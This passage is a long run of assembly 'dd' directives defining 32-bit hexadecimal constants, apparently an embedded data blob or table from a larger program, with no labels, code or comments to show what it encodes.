dd 79C7EF60h, 3B3300E8h, 20B90777h, 0B50E1581h, 0E06EE55Ch
dd 780C03DDh, 7FEF0072h, 8A2D8C28h, 47167494h, 0E8428970h
dd 480F2986h, 1D1D8D98h, 93E92631h, 5C444F19h, 32740B82h
dd 0FCDAE040h, 1B0C7104h, 8C8C729Ah, 19527BFFh, 6A25E24Eh
dd 40AC22B6h, 100033A8h, 0F712A5D5h, 71FFADF3h, 2E878F8h
dd 29DEE357h, 0E4A79ACDh, 0CE8644CCh, 0ED321294h, 9000C464h
dd 0D5E9E595h, 0E0D8C042h, 9010C65Ch, 40D4C4A0h, 0BD00DFF2h
dd 8174ED2h, 0E25AEF71h, 0D090001Ch, 79B86664h, 0E32C090Eh
dd 0E294EC80h, 0C09F01DCh, 0B1986719h, 8F711080h, 81D913E0h
dd 0A0003D76h, 0CC9F4CD2h, 3896283Ah, 0AC00981Eh, 7046C92h
dd 2601B2DDh, 845DFF05h, 0F330B903h, 0B8B07FE7h, 0EE480016h
dd 993F2EA8h, 8E3A5C7Dh, 15D18714h, 0CF70F7ECh, 7E75A740h
dd 56803A19h, 73FA6D0Eh, 6FE06140h, 8701CB74h, 42B97E36h
dd 0BDC54B0h, 3C19980Eh, 0DA804452h, 6B89609Ah, 0B100E7D5h
dd 3A8D0750h, 0B8F81E5Ch, 0AE4500E0h, 0FDC54A0Fh, 0E40A3444h
dd 0B8A09663h, 0BB83FA00h, 177CBD5h, 0EFE3D6Dh, 20C85DF2h
dd 6201D97Ch, 1D80FAFCh, 6C353A41h, 59385E4h, 9991350Fh
dd 0A124C0BAh, 0D900CC75h, 0F8605DA2h, 6EB1F2h, 5C7C6130h
dd 1298851Fh, 0A5E49C00h, 2AAB1D20h, 76AE4A6h, 7D3DF0E3h
dd 1921CCC2h, 0B2DB4A1Eh, 0A6975B8Eh, 38C9D692h, 0EB3F6D8Bh
dd 42BE1D80h, 5B6A4AA0h, 8C00709Ah, 1EA87934h, 145E10Bh
dd 1D8518D9h, 0FC8D84FCh, 787DBF82h, 24788A4Ch, 0BB898CB3h
dd 28F49C2Bh, 88884Eh, 0BA56AD54h, 0B8167D04h, 9538C80Ch
dd 0E9908Ch, 0D9CF218h, 292436E6h, 983D1C00h, 0B13E6FFBh
dd 0ACAB3C09h, 0E1FB900h, 476E299Dh, 0CFA83406h, 0B9778Ah
dd 0BB480B73h, 8C202FF4h, 390E450Eh, 3780BDFDh, 0B070631Bh
dd 6491486Eh, 220B7E3Ah, 98A05131h, 5CD133BFh, 4404CD00h
dd 0C56875BBh, 0FD2B0077h, 0E8706B16h, 709F05A3h, 0D8614927h
dd 8E80F33Bh, 0F5343C52h, 210027CCh, 7BC02676h, 481C1160h
dd 2F0B88ADh, 0A82143D7h, 12AE6E1Fh, 494D1BB3h, 1E8480A8h
dd 0A8A37675h, 0E225A4A8h, 0F08D6FC9h, 0CA28C821h, 24874091h
dd 0F0A0EC2h, 342936ABh, 68705860h, 1D030072h, 80C314BFh
dd 0E609CC89h, 80C8F1EDh, 7298F894h, 0DCF20E5Bh, 22A362B3h
dd 63EFBE29h, 0E9A8EA28h, 0B5E6EBD7h, 126AAD24h, 149C8D05h
dd 27FBF5C1h, 690F8826h, 3481EF5Dh, 0C0879E1Bh, 0CE285647h
dd 0F22CF888h, 0F9585041h, 281559CCh, 0C25C482h, 4F1244C8h
dd 4300E5F8h, 18EF8DA7h, 3AC7DF0Bh, 0A304822Fh, 8029FF54h
dd 39BE2A33h, 30DC3B02h, 87A5EEF1h, 0C05E4010h, 4680CA3Ah
dd 0EA79C0ECh, 938D3F9Fh, 4D85BD09h, 13E06089h, 9B670012h
dd 5946E619h, 0B82E2095h, 9DC0946Dh, 8629E9A0h, 5580889Bh
dd 6D7036D0h, 0F94C00F8h, 8BAC5A63h, 80EF0213h, 242D9381h
dd 1897F594h, 31EB63BAh, 9F60E008h, 0FEBFCA69h, 0A37D0023h
dd 32EEE6E5h, 7097E97Eh, 5DDC3D03h, 1500073Eh, 0B609C7DDh
dd 24388138h, 58D2894Dh, 0A47A0875h, 3F796404h, 483464D0h
dd 1880F3CFh, 62995F20h, 5A1CC7E7h, 8C7E6986h, 0E6C012DCh
dd 0B9060003h, 4B290556h, 1E1477D7h, 0AE83A49h, 0D450766Ch
dd 0A202468Bh, 0E866988Ch, 928B63D4h, 4C2A180Ch, 756D283Dh
dd 1700DC90h, 0BC47DEFDh, 5D3A684h, 4F6102FFh, 9C088089h
dd 3E0018CBh, 863F19F5h, 0E7F9FC7h, 0CD4CD4A2h, 75D89BC0h
dd 0D0077665h, 0F73B35E3h, 60542450h, 938C007Ah, 393D99AEh
dd 0F93C97D7h, 2A4280D6h, 0DBE04BE4h, 69B2019Ch, 0CB794E1Fh
dd 0FF903435h, 741E8300h, 6AEDBAB5h, 0AB0438C6h, 7273BB80h
dd 8180D9ECh, 4A5F7507h, 45202C49h, 2096C05h, 0EFADC57Ah
dd 3D4036C1h, 5100A34Ch, 10E8205Ch, 59E04A37h, 1A0000ACh
dd 1F4E83E2h, 9EE4184Dh, 81455B07h, 0E312FD90h, 476C682Bh
dd 24740017h, 6B3B0CEDh, 2E0754F3h, 3AE9ADD8h, 4DCDB880h
dd 0B0AA078Eh, 0F0FE97FBh, 7F5C888h, 1A77D00h, 8252EC75h
dd 596803C7h, 0E43D2B66h, 655CBEB8h, 0AB004BF4h, 0FC0E4009h
dd 4808B0A2h, 9C00E7A1h, 49E614E1h, 61709724h, 0D16F7707h
dd 0BC40FC86h, 0C03A12F8h, 9F43B59h, 0B1002EDEh, 0BCDDEBE3h
dd 901B890Ch, 5A420088h, 352A416Bh, 2500AEEDh, 9915E7BDh
dd 0ECBA86E8h, 7908E250h, 0B8EAD6h, 0BD8114AEh, 0CBBB3847h
dd 64BCE07h, 72E05E18h, 138E40ACh, 8BF934h, 0EF0EA424h
dd 6E0349BAh, 0A583CE76h, 1B17E079h, 542600F5h, 9FA0FA1Ch
dd 0B00AF16h, 8A6F594Ah, 16231867h, 1CB33Bh, 55DF6268h
dd 0A9005CB7h, 887EC5FDh, 1D8F98h, 9F8E66B0h, 5390B144h
dd 856B6700h, 0AFCA72ABh, 9B740001h, 7FB21793h, 28243230h
dd 0E7003840h, 561D8406h, 0C6D85C6Ah, 0B351500h, 2620D28Ah
dd 0BA678603h, 98D7F9C5h, 0AFC47Bh, 44905B7Eh, 0FCB87203h
dd 5914DD07h, 0C9C447BFh, 0A6A3CC80h, 0EF4F0005h, 0AB35B6BDh
dd 73002F7Eh, 0CB9381BBh, 1DE862F6h, 803643A1h, 0CA0D191Fh
dd 0D23D29D6h, 1BB902D5h, 606095AEh, 2CC74h, 0C309172Ah
dd 44683F69h, 8AADA913h, 1ECA2AA0h, 408036F1h, 252A99D7h
dd 0E700E294h, 581A5529h, 0A911A5h, 0EE30933Ah, 266192F5h
dd 0C7075F00h, 702BAD49h, 0A7EA2Dh, 42D6767Ch, 0AF35A531h
dd 0C0597933h, 80D7F598h, 664957A0h, 0C726017Fh, 6CCF6A29h
dd 0D41FCCC9h, 84745A00h, 479D7717h, 2CC1C073h, 6C76CC27h
dd 9FC32200h, 154AE1AAh, 956500FFh, 0ACCF2ADBh, 6B1C90E0h
dd 0DF400745h, 8D899D8Eh, 64C01C7h, 2B264979h, 0F153F010h
dd 1C715D20h, 0C00FECA7h, 0EE673B98h, 7500277Ah, 0A539B478h
dd 0D8EF0Ch, 21ACBF1Ch, 67E58401h, 932BD606h, 0D0DFDAh
dd 0D8EB3356h, 0F0408010h, 396F4B0Bh, 0E23580ACh, 0C519BBFh
dd 31AE05CAh, 0E00688Eh, 0F433EE0Bh, 78A554h, 3F1394E2h
dd 0F9C09331h, 53BA200h, 0E36BE00Bh, 90AA74FDh, 915603CAh
dd 8FCA1B01h, 0D284802h, 0C04CE999h, 5C135323h, 8B00E7EAh
dd 795C5FF1h, 0A052F95Dh, 67E901E8h, 69E0F016h, 0A18F6980h
dd 0BFBA6B8Bh, 665EC00h, 62DD363Dh, 18C1047Fh, 80E59CB4h
dd 460551DCh, 7C3A58h, 5536F508h, 0BCCDB6h, 34CF9971h
dd 50D2F447h, 0FCA2DF0Ah, 9500DC3Ah, 0EAB7D06h, 76720681h
dd 50DAB190h, 8F25EA00h, 87F206FCh, 7E7F8Bh, 0B6C5C816h
dd 0ADAE5F83h, 7D333B26h, 0BB4B4900h, 0BCD7A1h, 58B4FB32h
dd 0C6B06E39h, 0EA405F00h, 0E68A6436h, 479B0087h, 0AAF37B8Ch
dd 173813B4h, 10718075h, 5E012F1Bh, 0F5A90021h, 0AC034A55h
dd 0BE002D4Eh, 0CD54DB44h, 3DC66204h, 6D2DAF87h, 0DCEF081h
dd 0D001FF2Ah, 63A3E158h, 0F2D0F782h, 0FEB114F5h, 0AA00103Eh
dd 0FA7F6CE9h, 3D3AA3DEh, 3CCD01E2h, 0BD56D368h, 39985082h
dd 10F7E50h, 0A9756792h, 0B0D05FEDh, 113CA00Bh, 1F100ADh
dd 25E7DD40h, 1498B758h, 66E21203h, 0B153FD28h, 2AD416F8h
dd 70E80063h, 5FDD3A78h, 2C50E0E6h, 88C73B38h, 0D3D23DA6h
dd 0CFF194Bh, 0EB38806Fh, 3AA2D100h, 858628B6h, 2B0E0311h
dd 0FF482D7Eh, 40EE51ABh, 6D1BE015h, 0AC6CBD04h, 2E7C48A8h
dd 2DA64C1Fh, 209A5902h, 51048071h, 1D97F89Eh, 14F6190Bh
dd 0D6311C43h, 8F54CC08h, 95B9C938h, 69186020h, 60355D7h
dd 0EA8C58ADh, 1D7E9975h, 5C5008D9h, 432E1841h, 748B4C43h
dd 7178DF69h, 475FC519h, 8F89DD1Ch, 9F0B7610h, 10A25029h
dd 0C36051F9h, 808491Ch, 8B052E04h, 17F898E4h, 0C9D7440Ch
dd 85565ACh, 431C3010h, 0A0982550h, 0CEA08DCh, 0F1145151h
dd 184C4399h, 24DF2029h, 502810B4h, 77621E17h, 70EC80FBh
dd 0D339B296h, 305FA122h, 3A087353h, 8378861Bh, 0D02FB620h
dd 0F0EB0421h, 98115771h, 18C51844h, 97C1960h, 76E5CE07h
dd 5240C838h, 28B0F8C2h, 0FC208B4Ch, 0A1F93FAFh, 66947589h
dd 81FB9822h, 38310F63h, 0F418692Bh, 0EC0CA028h, 0C0490FCFh
dd 94B33Eh, 0A812713Bh, 245ED0F2h, 839C1940h, 8D4AEA83h
dd 5150F0DDh, 124FA913h, 97802C02h, 92348065h, 0C03AFF94h
dd 5927A548h, 0AF903F76h, 30CF2EA0h, 87CE08CEh, 5A704EA9h
dd 43E0C3Ah, 15435376h, 0EBC4D11Dh, 87AF71D7h, 36E73908h
dd 18EA7280h, 48C1D9ECh, 7451BEB9h, 0BD82AD01h, 0B80ACE2Ch
dd 94DCF4h, 43633954h, 575CF00Fh, 4B2A3B00h, 0A933FFE0h
dd 7BD40251h, 2FBBDEDBh, 826490A5h, 3AE086AEh, 71262D8Bh
dd 3F43A06Bh, 0A553B858h, 0F69130BBh, 0A13E5589h, 420CC878h
dd 485D2F83h, 948838B0h, 8923910Ch, 0A20A1F28h, 60CCACBBh
dd 1C88B914h, 43D6ED4Ah, 2139B800h, 216895Dh, 978BA669h
dd 44B6CACh, 0AE2AE11Dh, 382EBE01h, 0D020CADFh, 0C3760009h
dd 0C4C2025Fh, 39068413h, 0CBC19473h, 0C03E0721h, 5F56435Fh
dd 7304A118h, 4EB0EA50h, 959FACA0h, 0FEA87680h, 735500F7h
dd 0E06DE242h, 62FE1EFEh, 0A8852C92h, 0B0C61030h, 1D517848h
dd 0E6080A66h, 15188C24h, 72794AC1h, 120DDF0Ah, 0EEE2B8B9h
dd 10141992h, 80C18223h, 0BA00363Eh, 2CAD955Eh, 4DF9B6h
dd 0C61F4E60h, 0C14891BEh, 152468E2h, 928E9C5Eh, 693F807Ch
dd 9788F6h, 4373587Bh, 515F3BB0h, 0F3A2590Fh, 8A0DFED6h
dd 0C8803C39h, 954FBB07h, 8F03E81Eh, 3B2BEF24h, 4060FA83h
dd 805ECA50h, 0C244AB8h, 919288E1h, 2134BC04h, 2C3E1802h
dd 0F7569482h, 0DCC5B8A3h, 0DE1EB9C1h, 43530049h, 188939D8h
dd 0FD17D096h, 108CB857h, 3F0491F2h, 12124BA9h, 0A0710C31h
dd 21508182h, 18418956h, 3031151Fh, 29A88F0Ch, 7DF60F2Ch
dd 4C1493F1h, 953A7220h, 1760508Fh, 298DF1CCh, 0D89E001Eh
dd 9524B00Bh, 18E2123Bh, 0D32D8A06h, 0EF40D6B5h, 68E0D980h
dd 0D4825539h, 0E69A183Eh, 22294E91h, 400AB9A0h, 3C8A3847h
dd 776CB09h, 588AFF88h, 73BE9684h, 8915B081h, 14974848h
dd 0F0912CF8h, 54700700h, 40DF6F51h, 82561E1Bh, 3E20751Eh
dd 9702D112h, 9FED6DFFh, 54988C40h, 39198898h, 0DE78C67Dh
dd 0BA438310h, 0A8486818h, 1EBEBB71h, 0E8ACD181h, 0CDB92A68h
dd 39026DB0h, 225C2088h, 0D079E49Ah, 1CB06006h, 0E983A69h
dd 0CEA8921Bh, 0C10CBE60h, 6A24FE2Dh, 68150CBCh, 28A02484h
dd 1192970Fh, 2845C2Eh, 6E17CBA5h, 9091F0A0h, 6D182CBEh
dd 8281D171h, 785C7969h, 0E8D44CBCh, 6E737863h, 0A30377C7h
dd 0C1516591h, 20E0FFC8h
dd 123C38DFh, 2C2A024Bh, 813AD479h, 2947E099h, 0A81EEDF0h
dd 1CCF098h, 37B84994h, 62560A51h, 0F83E4Ch, 130DE760h
dd 3E7B2E15h, 971237EDh, 486C0853h, 577CA580h, 78BF70Ah
dd 0D3B09570h, 21A6468Ch, 4C246C00h, 59AE74C3h, 1F610082h
dd 0D32B319Eh, 930F537Ch, 802722E0h, 0A67A188Bh, 0AA2EA6Bh
dd 0E7710930h, 0E583BB84h, 5A3DAFBEh, 6A396A19h, 68648608h
dd 75BEF8AAh, 99401E3h, 28AB23A1h, 2F68835Fh, 0B04524B9h
dd 54187389h, 1DB3B87Fh, 0C0B727B0h, 0E03F60AFh, 114875ACh
dd 9C3E8008h, 54385227h, 7BDC5Fh, 0E2D6F1C5h, 0AB8040A5h
dd 0CAEEDD02h, 0C063E591h, 43778DE4h, 0B0970C6Bh, 187111h
dd 6C2AC95Dh, 7F613B8Bh, 3AA0A964h, 0E612D883h, 70CE21F9h
dd 0A4BE6081h, 0AC18C23Dh, 0C1C321C0h, 17689BEh, 0CB1AA2C9h
dd 0A160E89Bh, 65717858h, 0BEFDEC19h, 0E42E2404h, 80AEABh
dd 0ECE763DFh, 687B00CAh, 0BC3580BAh, 0D0E8C525h, 22924C00h
dd 0E34DE659h, 8F970090h, 5CB740AFh, 7EF256BCh, 5DEA300h
dd 0E9C2088Eh, 61EEF6h, 0C39F6A19h, 0A2EF6D7Bh, 40FD04A5h
dd 5AB385ECh, 0FD11D00Fh, 0DB86005Bh, 0FCC2EF41h, 0ADB20116h
dd 4B8F4892h, 0B13980AFh, 7CCC150Dh, 66753B5Bh, 8339839Dh
dd 0E85F29D1h, 19F306F0h, 9161E278h, 0C4577160h, 0F4CA7080h
dd 73C8393Bh, 7FCEF3Eh, 72F24E63h, 0CCAEED40h, 70441893h
dd 0F4B230B8h, 0C1156700h, 4024211Bh, 0D3691D3Dh, 0BB9A00B6h
dd 890CCCBh, 791DBAF2h, 69B00E4Eh, 0FF48FEh, 0A081EF6Ch
dd 67D76BEBh, 0A50097FCh, 79D611DBh, 36D1A6E5h, 8400D12h
dd 41916A33h, 8A1E90FAh, 65C5002Eh, 0C15F81A6h, 0A301B495h
dd 0F436FB0Eh, 0B0B1AF94h, 49AAC8C8h, 0CBD08AACh, 910108F6h
dd 62C1A9AFh, 769891h, 5A2EA0F8h, 4CFB191Bh, 0C300FC6Fh
dd 0AAE7ABEAh, 0E501746Ch, 967B94F6h, 1C402742h, 0F2984FDDh
dd 0AD610035h, 0D6DB0F25h, 0A4A8C1F4h, 9B54FAF6h, 0ACA0646Ch
dd 0DE70BDBBh, 941F80BDh, 0B028F7E3h, 0FCD6073Eh, 0C11F35Bh
dd 8A6049B0h, 0EA3277B9h, 9E5A00CAh, 0BF2F27F3h, 0DE018713h
dd 0ECC4791Bh, 98506C3Eh, 19A594Fh, 0BBB88AA6h, 0A170C691h
dd 8600FC08h, 0EDAA9A52h, 6E3314D5h, 9B80D027h, 2ACDB13Fh
dd 0F309DD01h, 91354BC9h, 63583823h, 46F17600h, 6A6836A5h
dd 32B66C0Fh, 9EE001CFh, 382351C5h, 0BB4E7402h, 0F703A2F2h
dd 41E34Ah, 0CAFC9548h, 66151C0Ch, 63595C01h, 0E8FB61FEh
dd 9E438A0h, 8E4473C7h, 0E7D94020h, 0A75C08C0h, 0A6007A21h
dd 0D3ECDBFFh, 0C4715h, 97E691CDh, 24399F5Ah, 38CACB71h
dd 100406Ah, 0B32F1445h, 1FC30ED3h, 41FE9553h, 0E6975BE2h
dd 764820BAh, 4949654h, 0DDBBA400h, 63CFC12Fh, 326807FBh
dd 8049DE99h, 7BAB3B57h, 75385C15h, 7D470DA0h, 6BF1B192h
dd 0A92449BEh, 7C398624h, 0CD3B2198h, 4DEA9D94h, 0AF9CBEC0h
dd 7B9175Fh, 470AEF22h, 5341FC6Ah, 0F2008FF2h, 0DB29FD2Fh
dd 6642EEh, 0A8F84991h, 5DD72619h, 0A4F5D905h, 0D81D3377h
dd 95006CD0h, 0CB610146h, 90B5B74h, 48744ECh, 34C0B8BAh
dd 33EA979Eh, 0DB31FDB1h, 24E52FB8h, 2D37B903h, 0A14FD47Ch
dd 208097A0h, 6F30A3E8h, 0FB7E7299h, 255E4201h, 90482B17h
dd 709B823Eh, 0A6059846h, 9C788AB8h, 8890CC51h, 97E441C1h
dd 0BDCF60D0h, 31B4A30Ah, 21564C9Dh, 0A8806D54h, 0D8A0A3Ch
dd 768974E6h, 1A6090E3h, 79685A39h, 43B3AC18h, 97896300h
dd 79A30486h, 7DB113A7h, 94840FABh, 0DC6AB48Eh, 44BB61ACh
dd 52C24D2h, 978BCE00h, 0CA651952h, 243607BAh, 33E451C2h
dd 2BDDB31h, 2DC166B8h, 4EF8104Bh, 47333404h, 907BB961h
dd 503CAF8Ah, 9145C865h, 88EE005Ch, 0AC2FC9C7h, 94BE3Dh
dd 0C24E86CDh, 0EC57AE9Fh, 0A18F1D70h, 82A8012h, 7FA9C894h
dd 4C92420Eh, 236098A4h, 648F0096h, 1EC0D358h, 2A26B9F9h
dd 0FBF301Ch, 2088ADF7h, 82F0D278h, 0A54A033Bh, 81DEB08Ah
dd 92A79080h, 0D073CC01h, 0DE1548Bh, 0B86DB98Fh, 1B3420B2h
dd 0C3E072B0h, 5ED44804h, 0A4C459E6h, 18477C09h, 10FF7E4h
dd 0EBDBD0A5h, 0E89658EAh, 0B716E71Eh, 23A001A9h, 0B58A719Ch
dd 6491B800h, 41CF4344h, 2390C029h, 384F0F81h, 0EA808FF0h
dd 42E70EE6h, 7100E8D9h, 47A12715h, 32B09C5Ah, 4D89732Ah
dd 0A3D79D80h, 950035F9h, 0B9061A3Eh, 0EE3B08h, 1E949BB6h
dd 0B37EAF6Bh, 2EB4C8A1h, 545238F1h, 73B860B9h, 0E052544Bh
dd 21C200B5h, 4DB47E9Dh, 3C0ED2A0h, 0E05BD439h, 1EFF0B8Dh
dd 1430016h, 9F9E8C49h, 0C0A4C15Ah, 54284726h, 125D358h
dd 0D25F6885h, 204249F3h, 0B601BA7Ah, 0C01A28ACh, 7830470Ch
dd 0F405544Bh, 5F17001Bh, 96B6A1CEh, 0CD182ADCh, 15F93F29h
dd 0C06F00F7h, 439DDE13h, 0C1C0AC49h, 5F6721E0h, 0A6C70341h
dd 3386632Ah, 0C823F7D1h, 0C304D054h, 5C2512E3h, 88D9A088h
dd 0F40005FBh, 29032A0h, 16C69B0h, 185D44D8h, 80F1E84Fh
dd 67C3F7D1h, 2CC47D95h, 60543F76h, 89F89AB7h, 90224846h
dd 9A015AE0h, 0DF10D135h, 1980A774h, 0CDD2C726h, 150052D9h
dd 0EAD18BF3h, 16A10Ah, 5E372FF1h, 4B6BD890h, 0B4E93660h
dd 2082E3h, 8A05077h, 0C89AF90Fh, 23AB7E02h, 498BC371h
dd 16DCD36Ch, 0CDE003C4h, 0F7D10711h, 0C3EFC902h, 60F27E31h
dd 24B842D0h, 8080D3B0h, 96D2F4C9h, 0D52C8C4Eh, 0E6809CCBh
dd 0C72ABB24h, 3D6BEE90h, 586FD126h, 8C6D51A1h, 0B3409CFCh
dd 67D58980h, 0FE90FF7Ah, 0F4DB00E5h, 912DCF15h, 7131DEB5h
dd 9C3149FEh, 5000F745h, 407865EEh, 18A4EFh, 35B472F7h
dd 6C457FE9h, 63046C96h, 20C03F33h, 0E18610FBh, 6B090E2Ah
dd 63883800h, 3300302Bh, 9183A213h, 3A3B75Dh, 6FECC50h
dd 78E0D62Ah, 0AE036B98h, 11E78C48h, 3B818F0h, 1E2F1BFh
dd 99F7630Eh, 9C2472D2h, 0B35348C0h, 0A211C1BDh, 0E0B5E69Ch
dd 44780F64h, 0BC970113h, 2FF4F860h, 0E924105Bh, 8C58C836h
dd 0BCACB01Ah, 0CC07624h, 12CD00BCh, 0D6148159h, 742924CCh
dd 7AF28080h, 0E6822103h, 782F7D00h, 11BBF192h, 49949050h
dd 300C82Ah, 0F4218A55h, 4974EAC5h, 30A074E4h, 0AE00A062h
dd 8C369D72h, 7544D48Ah, 20E1639Ah, 4A903533h, 31C7F1BDh
dd 0C387ABEFh, 0D8E1FB40h, 0C688A836h, 52F03853h, 944424F8h
dd 98DA80ACh, 0CF31974Eh, 0C2464A00h, 0D4F89FB2h, 0BC44004Ch
dd 0D9B95FB6h, 61C0C574h, 7EF2CDC0h, 0AA7A5Bh, 0FEE9DE48h
dd 0CF61CBDFh, 0FD7AE60Eh, 4BAF02E1h, 751468A8h, 51CA00B4h
dd 0D96F40EEh, 3D0F67D8h, 52E74E5Eh, 44B97447h, 39270530h
dd 18A898C4h, 29682CD1h, 81CC70BBh, 4EC68B8h, 971DA2FBh
dd 0AC68C728h, 273C3AD1h, 0C484D104h, 0EC00FE45h, 0F9CF8240h
dd 12F4B45Fh, 8836BD46h, 0C52CD4F4h, 4D003F9Bh, 0B514C15Eh
dd 94E500F0h, 236761CDh, 0B000479Dh, 0DADF17FCh, 0EB2930h
dd 2CCE8E9Ch, 0E5AF20B9h, 0F9A64C00h, 9134C006h, 0A868003Bh
dd 2AFD7BF2h, 0D60031A7h, 0FBF15A2Dh, 375D2E4h, 6F53DC77h
dd 31030EDFh, 92EF4A25h, 8B101E3Ch, 593D08C9h, 0E7CD982h
dd 0CC1200C3h, 820CF82Ch, 4167711Eh, 0A1E810FDh, 547C0065h
dd 5FA2CF6Eh, 0D5F21D88h, 0D6F8433Eh, 1E3E9279h, 0E2FC003Fh
dd 2F87C5DAh, 681B0341h
dd 7905BA77h, 40EED591h, 0B4BCAC8Ah, 0F93C60C7h, 10EACE20h
dd 0F8F6002Ch, 645DD260h, 79C1A211h, 0E5C80E85h, 3482CC0h
dd 0AEA5F117h, 400006E3h, 5C85011Ch, 211A90h, 62349943h
dd 440E577Bh, 0DF03F677h, 2306F4B2h, 5801EFCDh, 0E180ECA6h
dd 0C64833EAh, 64008C6Fh, 0DB9954F0h, 96BD95h, 9A290E24h
dd 413C5A93h, 17DF1919h, 0B048F138h, 0E07700BCh, 0CEA59324h
dd 0EA1CF5D1h, 2BC0F22Ch, 1EA8294Eh, 882A00D7h, 0ABE31B70h
dd 0ED00E438h, 374CB5AFh, 71FCC69h, 7585F5E7h, 8B791047h
dd 9700728Eh, 1443F6A4h, 147ACE26h, 0ED2B46EDh, 0BC12FB00h
dd 5457F31Eh, 63E62701h, 0A8DE52ABh, 0E70C098Ch, 0B100F720h
dd 79603619h, 0F690Bh, 0A9225093h, 57C1BB5Eh, 9ACD2400h
dd 0DDCE2E66h, 61C600E3h, 0AA4837F5h, 2A1C25F1h, 0C8F01DEBh
dd 472F0F3h, 0FDA9431Fh, 0C72B80CDh, 0DD007DBFh, 78C27BF9h
dd 0F769E54Ch, 0F1B001CBh, 0D17C8B50h, 8810A209h, 9FBEF302h
dd 81FCC1A2h, 222A92CAh, 3F5E1ECh, 0B8F2AD43h, 37A059AAh
dd 0E5033EA8h, 194D2975h, 0B19EE905h, 213D0899h, 8278D473h
dd 0F4D52A01h, 1E27CED0h, 0C2DF6981h, 0ECDB09BCh, 0E20CFBCDh
dd 38DE76B1h, 0A653001Eh, 0E07C7E2Fh, 0EDE5674Dh, 8036D14Eh
dd 2EEE0EA9h, 1D945A9Eh, 40644AF9h, 0B5A795B3h, 80C07341h
dd 0D59853A5h, 8361C1E6h, 405251BAh, 776926ACh, 0A91FA701h
dd 2289970Ch, 3FFBBEE8h, 13017B80h, 64CC8B84h, 40A0E8C9h
dd 3E68D209h, 36978056h, 7F428ADBh, 7A7BF5h, 0AE2BE127h
dd 0A8AAA3F9h, 58F00807h, 53600EB3h, 0DE3C06h, 677DCED3h
dd 6D05C731h, 2D41181Dh, 85E0EC80h, 12BD83h, 0CEE5144Bh
dd 6DAE8D2h, 0BAFC0E00h, 0C782F784h, 6A9000A8h, 1D92ED1Fh
dd 5000C931h, 9FA7C894h, 174254DFh, 14B02Ch, 583A448h
dd 34039DAFh, 0E22356F4h, 2E5488E6h, 7B2200D4h, 9790258h
dd 0DA0FAD55h, 6BC060BEh, 0DB628024h, 6231F94h, 0BCCD04E0h
dd 8D0010DAh, 3C477A12h, 6E1C7C73h, 41ED097Fh, 798D3020h
dd 1731BE17h, 0EBC94700h, 7C0244h, 0CD9E3AFAh, 3FE17E3Dh
dd 27D9C501h, 26067ACh, 75948080h, 0CE668BC1h, 50CF0E90h
dd 620FE037h, 601C5AFEh, 0A77A464Eh, 2E1F3F80h, 0DA41C123h
dd 2029B81Fh, 152480D2h, 19DAB5Ch, 0FAA68655h, 0D8878573h
dd 0F9000B80h, 0D4089730h, 0C066CD43h, 96BAAD68h, 0E8013A5Fh
dd 0B5D17931h, 38D187F9h, 1B2196h, 0C627F1Fh, 0FA1EA28Fh
dd 860322D7h, 0A1159550h, 80801EE6h, 652EF613h, 551860EEh
dd 3B19C788h, 87685043h, 8BA00BEh, 0E34F2615h, 0F0150F76h
dd 87B441DEh, 4A627993h, 6E1D1C2Bh, 9556792Dh, 934C5302h
dd 0CDCA40B1h, 3CCC0072h, 3F7A3DE2h, 0C1C2EF87h, 4029DB5Dh
dd 6B18E9h, 13C676DCh, 3BCE97BAh, 0E9A98F00h, 80B98A1Fh
dd 2DEF3AF7h, 797F7600h, 7D3B895Fh, 1BD81E00h, 28DA7348h
dd 868B14CAh, 6C01900Dh, 4E545BE7h, 1F2C20AEh, 401897Ch
dd 0ACEF6A44h, 0D880D147h, 7C528090h, 0C10199F0h, 45F57EF4h
dd 0FC70CE7Ah, 4BD400ABh, 9736E6D1h, 0B30A70DAh, 20582E55h
dd 8CFBF570h, 127F233Dh, 5C0F66A7h, 78C0906Ah, 434AD979h
dd 217A608Ch, 5D79767Bh, 0D4C3AA07h, 690D7B2h, 19E12CF7h
dd 70C81354h, 0E0402427h, 0EB526200h, 1B382846h, 3C9210h
dd 0EFCEBA2Ah, 84A5F2BFh, 0C880CF07h, 69CCD102h, 60FC36h
dd 0F84FA142h, 29AB601h, 0E05A9C1Bh, 0BCE8B320h, 0FDB46490h
dd 15BE04Ch, 431AEBD1h, 0C8459A0Dh, 76182DF8h, 89795458h
dd 0E83018ACh, 537F1151h, 82B29E00h, 0C9E0B1A1h, 30547491h
dd 112005BDh, 8D029B4Bh, 0B479322Eh, 6AFC8120h, 0B160143Eh
dd 0FD52189Fh, 0A4B8A06Eh, 853D250Dh, 93DC9979h, 3766006Bh
dd 94F0132Dh, 300083CAh, 0DC169947h, 36A25A7h, 0D0CF92BFh
dd 390A7A60h, 84989EC5h, 548302B8h, 484C1920h, 60456750h
dd 9FD8C14Ah, 0F1009DFDh, 10F45B74h, 987A48BFh, 43C40C10h
dd 249AFE7h, 1E98C252h, 51C1D506h, 42220C64h, 0A4812E8h
dd 439A506Ah, 73E11D4h, 0E3BA7BFFh, 6C1D1C60h, 5DF301F1h
dd 236E9A21h, 0A645048h, 24938FE0h, 447A1100h, 867FFB3Ch
dd 0C3C8E545h, 0E0E89Dh, 0CCA79FABh, 157767E2h, 0CF932101h
dd 6C108639h, 3260F930h, 0D438AC4Dh, 4C41F09Ah, 0EAB81839h
dd 41E8214Ch, 918375C1h, 136AEC0h, 9A3D6EF3h, 892F35FCh
dd 0A0FE3221h, 7D51A240h, 98915488h, 42800774h, 23E87B47h
dd 91853DEh, 0D420584Dh, 94420044h, 937220CDh, 0E803F353h
dd 86F295A0h, 8E6100EEh, 14BCBD75h, 0E3072512h, 0C289F8D9h
dd 0F47DE0C1h, 0A8B46453h, 43A1E518h, 0D22285h, 0DD918F39h
dd 7C7AC1A5h, 0C7242898h, 0D402B8F7h, 60F46D1Bh, 171432DCh
dd 6EAA50h, 0FCB1461Ah, 0A1E47527h, 65BEB000h, 0E4D7CF9Dh
dd 0A719003Ah, 0C3D3CB23h, 40C1F84Ah, 33DB44C1h, 42CA5880h
dd 1D1BE8E4h, 91663C00h, 12AE29A5h, 0E07924D6h, 77EC81B0h
dd 5050854Ch, 0B07CC8Ch, 36F73800h, 0FA43567Bh, 0E446005Fh
dd 85AC646Ah, 6B03FE89h, 60A6778Dh, 0CB34D086h, 3A75706Fh
dd 0D10C5203h, 1B514CE7h, 0CC8F49h, 5B18FEAFh, 0F5EEA2h
dd 0A0FF5051h, 19251A7Fh, 9A49607Ch, 2E44834h, 1350C40Bh
